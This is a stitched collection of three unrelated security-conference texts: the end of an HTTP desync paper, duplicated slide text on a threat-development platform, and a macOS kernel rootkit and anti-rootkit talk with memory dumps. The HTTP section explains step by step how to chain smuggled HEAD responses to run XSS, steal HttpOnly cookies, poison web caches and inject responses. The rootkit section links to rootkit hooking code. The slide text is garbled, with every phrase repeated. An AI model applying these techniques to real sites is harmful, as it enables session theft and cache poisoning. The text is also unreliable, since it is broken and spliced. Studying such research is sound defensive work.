Content-Length, only the first N bytes will be used as the body. The rest will be discarded because of the close directive which will also be included in the second response (a close connection request must always produce a close connection response). Notice that the amount of bytes that will be concatenated to the HEAD response depends on the Content-Length header of the message. An attacker needs to concatenate enough responses so that the total size of all injected payloads (headers+body) match the value of the HEAD Content-Length. HTTP Response Scripting Reflected Header Scripting Response concatenation technique allows attackers to send multiple concatenated responses to the victim. These responses can be chosen arbitrarily, and the headers will be used as part of the body, formatted with the media-type specified by the HEAD response. If the first HEAD response has the Content-Type directive set to HTML, the headers of the next concatenated messages will be parsed as part of an HTML document. So, if any of these headers is vulnerable to unescaped content reflection, an attacker could use it to build an XSS payload which will be parsed as javascript and executed at the victim’s browser. As an example, suppose there is an endpoint which redirects users to any resource in the Web Application domain. To do so, the value of a parameter is reflected, without escaping any other character than the line break, in the response Location header. If the location’s domain is fixed this does not present a vulnerability. Open redirections and response splitting are not possible. This scenario can be found in most Web Applications in the wild. An attacker could leverage this feature to build a malicious response containing an XSS using the Location header as part of an HTML body: If a victim request is pipelined by the proxy after the malicious payload, the client will receive the following response, which will pop an XSS alert box: The same attack could be performed if the XSS occurs in the body of the redirect response, which, in other cases, would not be exploitable. Content-Type confusion & Security bypass Some media types, like text/plain or application/json, could be considered protected against cross site scripting attacks, as scripts are not executed by the browser. Because of this, many Web Applications allow users to reflect unescaped data in responses with “safe” Content-Type header. Until now, there was not much to do to successfully exploit this kind of data reflection, apart from MIME type sniffing attacks which are not very effective in practice. However, using response concatenation, the Content-Type of a smuggled message could be ignored if its headers are part of the response body. This can be achieved the same way as the previous example, where a HEAD response is used to set the Content-Type to “text/html”. Notice that response concatenation can also be used to bypass security related headers, such as Content-Security-Policy or the old X-XSS-Protection. These headers are also part of the body, so the browser ignores the directives. Session Hijack: stealing HttpOnly Cookies It should be clear by now that, if the Content-Length value from the HEAD response is large enough, multiple requests could be concatenated into one. This technique can be leveraged to build a new set of payloads to exploit known vulnerabilities that were not available before. Even though response desync allows an attacker to hijack victim responses, in practice this technique might not be reliable enough. Most proxy-server connections are quite sensitive, meaning that they might be close for a number of reasons. In particular, many proxies do not store responses, and close the connection if a complete response is received when no request was issued. This can be solved by sending multiple requests in a small period of time, expecting that the request is received just before an orphan response is received. Still, it is unlikely to receive a hijacked request in a congested network, as the probability of obtaining a particular response will be divided by the amount of HTTP clients. For this reason, it was useful to find a malicious request that could be reliable enough to hijack victim requests, which would include HttpOnly headers not accessible through javascript. The only thing required to perform this attack is an endpoint with unescaped reflected content and a HEAD response with a non-zero Content-Length header. As mentioned before, these are easy to meet conditions that can be found on most Web Applications. The attack consists of 3 smuggled requests. 1. A HEAD request whose response contains a non-zero Content-Length and an HTML media type header. 2. A request whose response contains unescaped reflected data, in order to build the XSS. 3. A request (can be the previous one) whose response contains reflected content, unescaped or not. The idea is to obtain a response containing a reflected XSS (red), but also a reflection of the victim’s request (blue). After being concatenated, the last smuggled request will look as follows: Figure 12. The attacker smuggles 3 requests. The proxy will see them as one isolated message, but the server will split them in 4, concatenating the last with the victim’s message. Figure 13. The backend server returns 4 isolated responses. The proxy forwards the first to the attacker, but concatenates the others using the content-length header from the HEAD response. The resulting responses will contain both a javascript, which will be executed by the client’s browser, and the victim’s original request, including HttpOnly session cookies. As the victim’s request is part of the response body, the javascript could easily be used to hijack user’s sessions, by sending the cookies to an attacker’s controlled server. Notice that the Content-Length value of the HEAD response is 310. Arbitrary Cache Poisoning Apart from the Content-Length and Content-Type headers, an attacker can leverage another HTTP directive contained in a HEAD response: the Cache-Control. As defined in the HTTP/1.1 Caching RFC-7234, the Cache-Control header is used to specify directives that MUST be used by web caches to determine whether a response should be stored for a specific key (in most cases an endpoint and some other headers such as the host and user-agent). This means that, if a response contains a Cache-Control header with a max-age value greater than zero, this message should be stored for the specified time and all subsequent requests to the same resource must obtain the same response. Using this knowledge, and combining it with a Response Scripting attack using a HEAD response, an attacker could be able to find a response containing this mentioned header. If the response to the HEAD request also contains a content-length value greater than zero (as indicated by the RFC), then the resulting concatenated response will be stored for the next request arriving to the Proxy. And, as the attacker can also send pipelined requests recognized by the proxy, it is possible to control the poisoned endpoint, and therefore modify the response behaviour for any arbitrary URL selected by the malicious user. Figure 14. The attacker sends two pipelined requests to the Proxy. The first will contain the smuggled HEAD request and the second will be used to select the poisoned endpoint. When both requests arrive at the Proxy, they will be splitted in two and forwarded to the backend. In that moment, the smuggled requests will also get splitted and 4 isolated responses will be generated. Figure 15. The proxy believes that only two GET requests were issued. The backend will instead see 4 isolated requests and will generate 4 responses, including one (red) to a HEAD request. When the responses arrive to the proxy, the first not smuggled response (blue) will be sent back to the attacker for the first GET request. However, the HEAD response will be concatenated with the following smuggled one, as the proxy will think that this message corresponds again to a GET request. But in this case, the response will also be stored in the Web Cache, as it contains a Cache-Control header indicating that this message should be cached. Figure 16. The proxy will forward the malicious response to the attacker, but will also store it in the web cache for the selected endpoint. And finally, when a victim sends a request for the same resource, the proxy will not forward the message to the backend. Instead, it will look for the response in the cache and retrieve the stored malicious payload. Figure 17. The proxy will respond with the stored response to the victim’s request. Using this technique, an attacker will be able to poison any application endpoint, even those that do not exist and would in other cases return a 404 status code. And this can be done by sending a single request, and without depending on any client’s interaction or limitations. The same concepts can be used to produce Web Cache Deception, but in this case the victim’s response with sensitive data will be stored in the cache. HTTP Splitting: Arbitrary Response Injection Previous sections explained how HEAD responses allow an attacker to concatenate multiple responses using response smuggling. But, even though concatenation can produce useful attacks, it is also possible to use HEAD messages to split malicious responses. Instead of looking for responses that could fit inside the HEAD body, an attacker could also use a request which response can be splitted by the proxy. Consider a response reflecting a parameter in its body. If the break-line character is not escaped, the reflected data could be used to build the headers of a response. If a HEAD response contains a fixed Content-Length, any response coming after it will be sliced at the Nth byte, where N is the value of the length header. The first N bytes will be concatenated to the response, but the rest of the message will be considered another isolated response. As the attacker knows the value of N in advance, by observing the response to the HEAD request, the slicing position is also predictable. Figure 14. The smuggled response is splitted by the Proxy, as the Content-Length header is smaller than the message body. The extra bytes are controlled by the attacker and build a new malicious response. Considering an imaginary HEAD response with a Content-Length value equal to 50, the following payload would cause the victim to receive an attacker-controlled response. Conclusions Until today, HTTP Smuggling was seen as a hard to solve issue present in many proxies and backend servers. Almost no HTTP parser proved to be immune to this vulnerability. Still, when assigning a criticity to the flaw, most vendors determined that HTTP Desync is not as severe as it might look. Even if researchers were able to prove to have control over the request pipeline, it was not possible to demonstrate that this issue could compromise any Web Application just by itself. As other WEB vulnerabilities were required to successfully exploit a system, it was not easy to argue about low/medium CVSS scores assigned to Desync advisories. This caused researchers to focus their attention on bug bounty programs, instead of reporting directly to the HTTP proxy/server vendor. However, the techniques described in this paper can be used to fully compromise the Integrity, Confidentiality and Availability of any Web Application vulnerable to HTTP Desynchronization (HTTP Smuggling or HTTP Splitting). What's more, all these attacks can be performed without the need of extra vulnerabilities being chained, simplifying the exploitation and increasing the reliability of known attacks. For this reason, this research concludes that a review of the HTTP Desyn CVSS v3.1 general scoring should be applied to most Smuggling advisories, reflecting the criticality of real possible attacks. References RFC 2616: Hypertext Transfer Protocol -- HTTP/1.1 https://tools.ietf.org/html/rfc2616 RFC 7230: Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing https://datatracker.ietf.org/doc/html/rfc7230 CHAIM LINHART, AMIT KLEIN, RONEN HELED, STEVE ORRIN: HTTP Request Smuggling https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf James Kettle: HTTP Desync Attacks: Request Smuggling Reborn https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn https://portswigger.net/research/http-desync-attacks-what-happened-next Amit Klein: HTTP Request Smuggling in 2020 https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New- Variants-New-Defenses-And-New-Challenges.pdf
pdf
A Linguistic Platform for A Linguistic Platform for Threat Development Threat Development Ben Kurtz Ben Kurtz Imperfect Networks Imperfect Networks Introduction Introduction By applying programming language theory to the By applying programming language theory to the development of new networks attacks, we can development of new networks attacks, we can create next create next--generation platforms capable of generation platforms capable of quickly handling arbitrary protocols and quickly handling arbitrary protocols and hardware, and exponentially reducing threat hardware, and exponentially reducing threat development time. development time. Overview Overview Motivation Motivation Threat Testing Threat Testing Goals of a new system Goals of a new system Applications of Programming Language Theory Applications of Programming Language Theory Motivation Motivation We want to break stuff! We want to break stuff! Easier Easier Faster Faster Better Better Minimize threat development turnaround time Minimize threat development turnaround time Motivation (cont.) Motivation (cont.) Why do we want to break stuff? Why do we want to break stuff? Network Equipment/Service Testing Network Equipment/Service Testing Malice Malice IDS systems eventually have to be tested IDS systems eventually have to be tested… … And they must be tested with REAL threats! And they must be tested with REAL threats! Motivation (cont.) Motivation (cont.) You can You can’’t have 0 t have 0--day protection day protection without 0 without 0--day testing! day testing! This requires same This requires same--day threat testing. day threat testing. The Threat Testing Cycle The Threat Testing Cycle Quantify Codify Research Test Implement Window of Vulnerability Window of Vulnerability If it takes two weeks to complete the cycle, If it takes two weeks to complete the cycle, Your Window of Vulnerability is two weeks! Your Window of Vulnerability is two weeks! Options for Improvement Options for Improvement Option 1 Option 1 Hire more people Hire more people Work in parallel Work in parallel Still limited by current Still limited by current time time--consuming tools consuming tools Window of Vulnerability Window of Vulnerability remains the same Option 2 Option 2 Automate the common, Automate the common, repetitive tasks associated repetitive tasks associated with threat development. with threat development. Better tools Better tools Only deal with the unique Only deal with the unique aspects of a threat. aspects of a threat. remains the same So So… … Hiring more people would be great! Hiring more people would be great! But it But it’’s not going to happen. s not going to happen. We need better tools. We need better tools. Threat Platforms Threat Platforms We have some threat platforms available We have some threat platforms available to us already to us already… … Metasploit Metasploit Nessus Nessus … … Perl Perl Versatility Versatility Speed Speed Real, Live Threats Real, Live Threats Design Goals Design Goals One tool to generate all possible threats One tool to generate all possible threats Platform/Target independence Platform/Target independence PCAP import PCAP import Multi Multi--source traffic playback source traffic playback Simulation and Testing Simulation and Testing Unified platform means unified reporting Unified platform means unified reporting Programming Language Theory Programming Language Theory Grammars Grammars Rules that describe a language Rules that describe a language Serve dual purposes: Serve dual purposes: Generation Generation –– to make valid expressions to make valid expressions Validation Validation –– to determine validity of an expression to determine validity of an expression Extended Backus Extended Backus--Naur Form Naur Form Compilers Compilers Translates one language to another Translates one language to another Stages of compilation Stages of compilation Lex Lex –– syntax syntax Parse Parse –– semantics semantics Intermediate Representation Intermediate Representation Code Generation Code Generation Parser Generators Parser Generators Also called Compiler Compilers Also called Compiler Compilers Often overlooked, but powerful Often overlooked, but powerful PG PG’’s are compilers that can dynamically redefine s are compilers that can dynamically redefine the input and output grammars the input and output grammars Specify each network protocol as a grammar, Specify each network protocol as a grammar, and feed it into a domain and feed it into a domain--specific parser specific parser generator for network traffic generator for network traffic EBNF specification of protocols EBNF specification of protocols EBNF EBNF A set of production rules for a grammar, A set of production rules for a grammar, including a starting rule. including a starting rule. Each rule is comprised of: Each rule is comprised of: Terminals Terminals –– which are strings which are strings Non Non--Terminals Terminals –– which are pointers to other rules. which are pointers to other rules. Special symbols, similar to regular expressions Special symbols, similar to regular expressions * operator * operator –– repeat 0 or more times repeat 0 or more times + operator + operator –– repeat 1 or more times repeat 1 or more times | operator | operator –– either/or either/or EBNF ( cont. ) EBNF ( cont. ) Sample Grammar for Single Digit Addition: Sample Grammar for Single Digit Addition: S S --> E > E E E --> E > E ‘‘++’’ E | D E | D D D --> > ‘‘00’’ | | ‘‘11’’ | | ‘‘22’’ | | ‘‘33’’ | | ‘‘44’’ | | ‘‘55’’ | | ‘‘66’’ | | ‘‘77’’ | etc. | etc. Valid strings: Valid strings: 55 7 + 8 7 + 8 1 + 7 + 9 1 + 7 + 9 PLT (cont.) PLT (cont.) Normal Grammars Normal Grammars Simplest subset, Simple definitions Simplest subset, Simple definitions Have exactly one non Have exactly one non--terminal per RHS of each rule terminal per RHS of each rule Simple parsing algorithms Simple parsing algorithms Bold statement: All network protocols can be Bold statement: All network protocols can be defined with Normal Grammars! defined with Normal Grammars! Erm Erm… … Mostly Mostly Checksums and Length Fields Checksums and Length Fields Protocols in EBNF Protocols in EBNF Each protocol is an ordered list of fields. Each protocol is an ordered list of fields. Protocols that allow encapsulated protocols Protocols that allow encapsulated protocols have a Payload, a special field akin to a have a Payload, a special field akin to a non non--terminal. terminal. Some protocols are more dynamic Some protocols are more dynamic EBNF can handle dynamism ( such as ICMP ) EBNF can handle dynamism ( such as ICMP ) Ethernet Example Ethernet Example Start Start --> ETH > ETH ETH ETH --> > srcMAC srcMAC destMAC destMAC pktType pktType Payload Payload srcMAC srcMAC --> > MACAddress MACAddress destMAC destMAC --> > MACAddress MACAddress pktType pktType --> 2BytesHex > 2BytesHex Payload Payload --> Any Other Protocol > Any Other Protocol Protocol Description Protocol Description Choosing the Format Choosing the Format Writing the Grammar Writing the Grammar RFC Block Diagrams RFC Block Diagrams Each non Each non--terminal is handled separately terminal is handled separately Handling Typed Data Handling Typed Data Accommodating PCAP Imports Accommodating PCAP Imports Type Type--Length Length--Value (TLV) Fields Value (TLV) Fields Threat Description Threat Description Format of Threats Format of Threats Metadata Metadata Named Variables Named Variables Functions Functions Lists Lists Unrolling Ambiguous Iterative Behavior Unrolling Ambiguous Iterative Behavior Some Useful Functions Some Useful Functions Range Range Random Random Random String Random String Homogenous String of Length X Homogenous String of Length X Checksums Checksums Importing from PCAP Importing from PCAP Grammar Grammar--based PCAP decomposition based PCAP decomposition Translating using Protocol Definitions Translating using Protocol Definitions Multi Multi--sourced PCAP files sourced PCAP files Edit your imported PCAP for playback Edit your imported PCAP for playback Binding and Playback Binding and Playback Pre Pre--compilation of Threats (Threat Binding) compilation of Threats (Threat Binding) Threat Engines Threat Engines Functions Functions Checksums Checksums Throughput Throughput Distributed design Distributed design Multi Multi--Source Traffic Playback Source Traffic Playback Conclusions Conclusions Threat Development and Delivery Platforms Threat Development and Delivery Platforms based on Parser Generators have several based on Parser Generators have several advantages: advantages: Speed of Development Speed of Development Live Testing Live Testing PCAP Import and Playback PCAP Import and Playback Platform and Protocol Independence Platform and Protocol Independence Q & A Q & A At this time, I At this time, I’’d like d like to open the floor up for to open the floor up for questions. questions.
pdf
Attacking the macOS Kernel Graphics Driver wang yu Didi Research America - About me - Background Pluto Flyby: The Story of a Lifetime, NASA, 2016 New Horizons Team Reacts to Latest Image of Pluto, NASA, 2015 9 Years, 3 Billion Miles: The Journey of New Horizons - Weapon X rootkit - Rubilyn rootkit - OS X/Crisis DAVINCI rootkit (Hacking Team) https://github.com/hackedteam/driver-macos - Inficere rootkit https://github.com/enzolovesbacon/inficere - Uninformed volume 4 - Abusing Mach on Mac OS X - Phrack magazine #64 - Mac OS X wars - a XNU Hope - Phrack magazine #66 - Developing Mac OS X Kernel Rootkits - Phrack magazine #69 - Revisiting Mac OS X Kernel Rootkits - Process/Dynamic library - File/Configuration - Kernel kext module - Network traffic - User mode/Kernel mode communication mechanism - Doubly-linked list manipulation - DKOM(Direct Kernel Object Manipulation)/Hot Patch - Dispatch table hook/Inline hook - Mach-O format parser/Kernel symbol - Kernel exploitation Windows/Android Linux/macOS Malware Man in the Binder - He who Controls IPC, Controls the Droid, Black Hat Europe 2014 1. Anti-debugging ( object hook sys_ptrace ) https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/anti.c#L312 2. Hide process ( object hook sys_sysctl ) https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/anti.c#L335 3. Hide file ( object hook sys_getdirentries/sys_getdirentries64/sys_getdirentriesattr ) https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/anti.c#L471 https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/anti.c#L542 https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/anti.c#L547 4. Hide user ( object hook sys_open_nocancel/sys_read_nocancel ) https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/anti.c#L615 https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/anti.c#L635 5. Self-protection ( object hook sys_kill ) https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/anti.c#L448 6. Patch machine_thread_set_state https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/kpatch.c#L50 7. Patch kauth_authorize_process https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/kpatch.c#L142 8. Patch task_for_pid https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/kpatch.c#L95 9. EOP ( sys_seteuid ) https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/backdoor.c#L80 10. File system monitoring ( Kernel Authorization ) https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/file_monitor.c#L350 11. Network traffic monitoring ( ipf_addv4, not implemented yet ) https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/backdoor.c#L176 1. Use-After-Free vulnerability https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/inficere.c#L87 https://github.com/apple/darwin-xnu/blob/master/bsd/kern/uipc_socket.c#L1757 2. Hardcode ( syscall table ) https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/syscall.h 3. Hardcode ( object offset ) https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/kinfo.c#L115 https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/kinfo.c#L123 https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/kinfo.c#L131 https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/kinfo.c#L139 4. Lack of examination ( MALLOC ) https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/kctl.c#L170 5. Memory leak https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/kctl.c#L176 6. Kernel panic issue https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/cpu_protections.c#L66 7. Should use the “Inter-locked-xchg” https://github.com/enzolovesbacon/inficere/blob/master/kext/inficere/anti.c#L149 PLATINUM Continues to Evolve, Find Ways to Maintain Invisibility https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/ “… Until this incident, no malware had been discovered misusing the AMT SOL feature for communication.” macOS Anti-Rootkit Technology Kernel Module List Enumeration [Agent.kext] : name=com.didi.agent, version=1.0.3, module base=0xffffff7f8e83f000, module size=0x21000. [Agent.kext] : name=com.vmware.kext.vmhgfs, version=0505.56.93, module base=0xffffff7f8e835000, module size=0xa000. [Agent.kext] : name=com.apple.driver.AudioAUUC, version=1.70, module base=0xffffff7f8e078000, module size=0x5000. [Agent.kext] : name=com.apple.driver.AppleTyMCEDriver, version=1.0.2d2, module base=0xffffff7f8e130000, module size=0x9000. [Agent.kext] : name=com.apple.filesystems.autofs, version=3.0, module base=0xffffff7f8dfb8000, module size=0x9000. [Agent.kext] : name=com.apple.kext.triggers, version=1.0, module base=0xffffff7f8dfb3000, module size=0x5000. [Agent.kext] : name=com.apple.driver.AppleOSXWatchdog, version=1, module base=0xffffff7f8e342000, module size=0x4000. [Agent.kext] : name=com.apple.driver.AppleHDAHardwareConfigDriver, version=274.12, module base=0xffffff7f8e4e5000, module size=0x2000. [Agent.kext] : name=com.apple.driver.AppleHDA, version=274.12, module base=0xffffff7f8e655000, module size=0xb3000. [Agent.kext] : name=com.apple.driver.DspFuncLib, version=274.12, module base=0xffffff7f8e51a000, module size=0x131000. [Agent.kext] : name=com.apple.kext.OSvKernDSPLib, version=525, module base=0xffffff7f8e507000, module size=0x13000. [Agent.kext] : name=com.apple.driver.AppleHDAController, version=274.12, module base=0xffffff7f8e4e9000, module size=0x1e000. [Agent.kext] : name=com.apple.iokit.IOHDAFamily, version=274.12, module base=0xffffff7f8e4d6000, module size=0xc000. [Agent.kext] : name=com.apple.iokit.IOAudioFamily, version=204.4, module base=0xffffff7f8e03f000, module size=0x31000. [Agent.kext] : name=com.apple.vecLib.kext, version=1.2.0, module base=0xffffff7f8dfc3000, module size=0x7c000. [Agent.kext] : name=com.apple.driver.AppleFIVRDriver, version=4.1.0, module base=0xffffff7f8e766000, module size=0x3000. [Agent.kext] : name=com.apple.iokit.IOBluetoothHostControllerUSBTransport, version=4.4.6f1, module base=0xffffff7f8dd9f000, module size=0x2c000. [Agent.kext] : name=com.apple.driver.ACPI_SMC_PlatformPlugin, version=1.0.0, module base=0xffffff7f8dbb3000, module size=0x11000. [Agent.kext] : name=com.apple.driver.IOPlatformPluginLegacy, version=1.0.0, module base=0xffffff7f8db84000, module size=0x12000. [Agent.kext] : name=com.apple.driver.IOPlatformPluginFamily, version=6.0.0d7, module base=0xffffff7f8db7a000, module size=0xa000. [Agent.kext] : name=com.apple.driver.AppleUpstreamUserClient, version=3.6.1, module base=0xffffff7f8e127000, module size=0x5000. [Agent.kext] : name=com.apple.driver.AppleMCCSControl, version=1.2.13, module base=0xffffff7f8e360000, module size=0xe000. [Agent.kext] : name=com.apple.driver.AppleSMBusController, version=1.0.14d1, module base=0xffffff7f8e34f000, module size=0xe000. [Agent.kext] : name=com.apple.iokit.IOSMBusFamily, version=1.1, module base=0xffffff7f8daff000, module size=0x4000. [Agent.kext] : name=com.apple.driver.pmtelemetry, version=1, module base=0xffffff7f8d4f6000, module size=0xb000. [Agent.kext] : name=com.apple.iokit.IOUserEthernet, version=1.0.1, module base=0xffffff7f8d626000, module size=0x6000. [Agent.kext] : name=com.apple.iokit.IOSurface, version=108.2.3, module base=0xffffff7f8daea000, module size=0x13000. [Agent.kext] : name=com.apple.iokit.IOBluetoothSerialManager, version=4.4.6f1, module base=0xffffff7f8dcb9000, module size=0xa000. [Agent.kext] : name=com.apple.iokit.IOSerialFamily, version=11, module base=0xffffff7f8db0e000, module size=0xe000. [Agent.kext] : name=com.apple.iokit.IOBluetoothFamily, version=4.4.6f1, module base=0xffffff7f8dcc9000, module size=0xc3000. [Agent.kext] : name=com.apple.Dont_Steal_Mac_OS_X, version=7.0.0, module base=0xffffff7f8de75000, module size=0x5000. [Agent.kext] : name=com.apple.driver.AppleSMC, version=3.1.9, module base=0xffffff7f8db98000, module size=0x19000. Network Traffic Monitoring [Agent.kext] : duration=128. 2709 seconds, 192.168.87.128:49222(mac 00:50:56:e2:df:7e)<->203.208.41.56:443(mac 00:0c:29:2e:2a:94), process(pid 0)=kernel_task, in=4 packets,4413 bytes, out=2 packets,467 bytes. [Agent.kext] : Dump first IN packet. -*> MEMORY DUMP <*- +---------------------+--------------------------------------------------+-------------------+ | ADDRESS | 0 1 2 3 4 5 6 7 8 9 A B C D E F | 0123456789ABCDEF | | --------------------+--------------------------------------------------+------------------ | | 0xffffff8014e2ca70 | 00 0c 29 2e 2a 94 00 50 56 e2 df 7e 08 00 45 00 | ..).*..PV..~..E. | | 0xffffff8014e2ca80 | bc 05 12 ce 00 00 80 06 15 29 cb d0 29 38 c0 a8 | .........)..)8.. | | 0xffffff8014e2ca90 | 57 80 01 bb c0 46 a2 f1 0c f5 49 83 fb 81 50 18 | W....F....I...P. | | 0xffffff8014e2caa0 | f0 fa 00 00 00 00 16 03 03 01 44 02 00 01 40 03 | ..........D...@. | | 0xffffff8014e2cab0 | 03 59 3f 7f 92 13 a8 d5 35 61 e9 ff 03 bf 11 f1 | .Y?.....5a...... | | 0xffffff8014e2cac0 | 91 f9 81 ad 16 10 43 7b ba 25 bb e6 da dc d4 8b | ......C{.%...... | | 0xffffff8014e2cad0 | e5 00 c0 2b 00 01 18 ff 01 00 01 00 00 17 00 00 | ...+............ | | 0xffffff8014e2cae0 | 00 23 00 00 00 12 00 f4 00 f2 00 77 00 ee 4b bd | .#.........w..K. | | 0xffffff8014e2caf0 | b7 75 ce 60 ba e1 42 69 1f ab e1 9e 66 a3 0f 7e | .u.`..Bi....f..~ | | 0xffffff8014e2cb00 | 5f b0 72 d8 83 00 c4 7b 89 7a a8 fd cb 00 00 01 | _.r....{.z...... | | 0xffffff8014e2cb10 | 5c 5f b9 cf d5 00 00 04 03 00 48 30 46 02 21 00 | \_........H0F.!. | | 0xffffff8014e2cb20 | f4 ae fc 46 6d fe a0 9f 45 0f 84 54 ce c5 8e 2e | ...Fm...E..T.... | | 0xffffff8014e2cb30 | a3 68 96 ec bc 4a 7b b3 ad 4b 09 91 e3 80 74 d5 | .h...J{..K....t. | | 0xffffff8014e2cb40 | 02 21 00 f9 9c e2 68 6b c5 49 94 b6 f9 36 54 b6 | .!....hk.I...6T. | | 0xffffff8014e2cb50 | 90 fb 3a eb 59 4e 15 7c b7 bb 3c 15 fb 9f eb cf | ..:.YN.|..<..... | | 0xffffff8014e2cb60 | f3 14 08 00 77 00 dd eb 1d 2b 7a 0d 4f a6 20 8b | ....w....+z.O. . | | 0xffffff8014e2cb70 | 81 ad 81 68 70 7e 2e 8e 9d 01 d5 5c 88 8d 3d 11 | ...hp~.....\..=. | | 0xffffff8014e2cb80 | c4 cd b6 ec be cc 00 00 01 5c 5f b9 ce 44 00 00 | .........\_..D.. | | 0xffffff8014e2cb90 | 04 03 00 48 30 46 02 21 00 e3 1b 6c 4d ec 61 1c | ...H0F.!...lM.a. | | 0xffffff8014e2cba0 | 10 68 49 26 95 01 f7 aa 63 07 60 39 81 08 73 82 | .hI&....c.`9..s. | | 0xffffff8014e2cbb0 | 11 a0 35 13 67 45 8d 02 27 02 21 00 92 30 46 10 | ..5.gE..'.!..0F. | | 0xffffff8014e2cbc0 | 5f d7 bf 25 84 5b ac 59 f0 80 8f e8 57 22 cd 17 | _..%.[.Y....W".. | | 0xffffff8014e2cbd0 | 37 85 cc 49 91 68 66 f5 9d 37 e3 ac 00 10 00 05 | 7..I.hf..7...... | | 0xffffff8014e2cbe0 | 00 03 02 68 32 75 50 00 00 00 0b 00 02 01 00 16 | ...h2uP......... | .................. Process Creation Monitoring .................. | 0xffffff80674533d0 | 33 35 35 33 3b 32 2c 31 30 2c 33 35 35 33 3b 32 | 3553;2,10,3553;2 | | 0xffffff80674533e0 | 2c 31 31 2c 33 35 35 33 3b 32 2c 31 32 2c 33 34 | ,11,3553;2,12,34 | | 0xffffff80674533f0 | 30 33 37 3b 32 2c 31 33 2c 33 35 35 33 3b 32 2c | 037;2,13,3553;2, | | 0xffffff8067453400 | 31 34 2c 33 34 30 33 37 3b 32 2c 31 35 2c 33 34 | 14,34037;2,15,34 | | 0xffffff8067453410 | 30 33 37 3b 33 2c 30 2c 33 35 35 33 3b 33 2c 31 | 037;3,0,3553;3,1 | | 0xffffff8067453420 | 2c 33 35 35 33 3b 33 2c 32 2c 33 35 35 33 3b 33 | ,3553;3,2,3553;3 | | 0xffffff8067453430 | 2c 33 2c 33 35 35 33 3b 33 2c 34 2c 33 35 35 33 | ,3,3553;3,4,3553 | | 0xffffff8067453440 | 3b 33 2c 35 2c 33 34 30 33 37 3b 33 2c 36 2c 33 | ;3,5,34037;3,6,3 | | 0xffffff8067453450 | 35 35 33 3b 33 2c 37 2c 33 35 35 33 3b 33 2c 38 | 553;3,7,3553;3,8 | | 0xffffff8067453460 | 2c 33 35 35 33 3b 33 2c 39 2c 33 35 35 33 3b 33 | ,3553;3,9,3553;3 | | 0xffffff8067453470 | 2c 31 30 2c 33 35 35 33 3b 33 2c 31 31 2c 33 35 | ,10,3553;3,11,35 | | 0xffffff8067453480 | 35 33 3b 33 2c 31 32 2c 33 34 30 33 37 3b 33 2c | 53;3,12,34037;3, | | 0xffffff8067453490 | 31 33 2c 33 35 35 33 3b 33 2c 31 34 2c 33 34 30 | 13,3553;3,14,340 | | 0xffffff80674534a0 | 33 37 3b 33 2c 31 35 2c 33 34 30 33 37 00 2d 2d | 37;3,15,34037.-- | | 0xffffff80674534b0 | 73 65 72 76 69 63 65 2d 72 65 71 75 65 73 74 2d | service-request- | | 0xffffff80674534c0 | 63 68 61 6e 6e 65 6c 2d 74 6f 6b 65 6e 3d 37 31 | channel-token=71 | | 0xffffff80674534d0 | 38 31 37 42 46 31 36 30 45 34 45 30 38 44 45 44 | 817BF160E4E08DED | | 0xffffff80674534e0 | 36 38 39 32 33 43 41 43 37 37 46 36 30 37 00 2d | 68923CAC77F607.- | | 0xffffff80674534f0 | 2d 72 65 6e 64 65 72 65 72 2d 63 6c 69 65 6e 74 | -renderer-client | | 0xffffff8067453500 | 2d 69 64 3d 39 | -id=9 | +---------------------+--------------------------------------------------+-------------------+ [Agent.kext] : action=KAUTH_FILEOP_EXEC, uid=501, process(pid 538)=Google Chrome, parent(ppid 1)=launchd, path=/Applications/Google Chrome.app/Contents/Versions/57.0.2987.98/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper, command line=/Applications/Google Chrome.app/Contents/Versions/57.0.2987.98/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper --type=renderer --field-trial-handle=1 -- primordial-pipe-token=71817BF160E4E08DED68923CAC77F607 --lang=en-US --enable-offline-auto-reload --enable-offline-auto-reload-visible-only -- enable-pinch --num-raster-threads=1 --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources --content-image-texture- target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,34037;0,11,34037;0,12,34037;0,13,3553;0,14 ,3553;0,15,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,34037;1,11,34037;1,12,34037;1,13, 3553;1,14,3553;1,15,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,34037;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,340 37;2,13,3553;2,14,34037;2,15,34037;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,34037;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,355 3;3,12,34037;3,13,3553;3,14,34037;3,15,34037 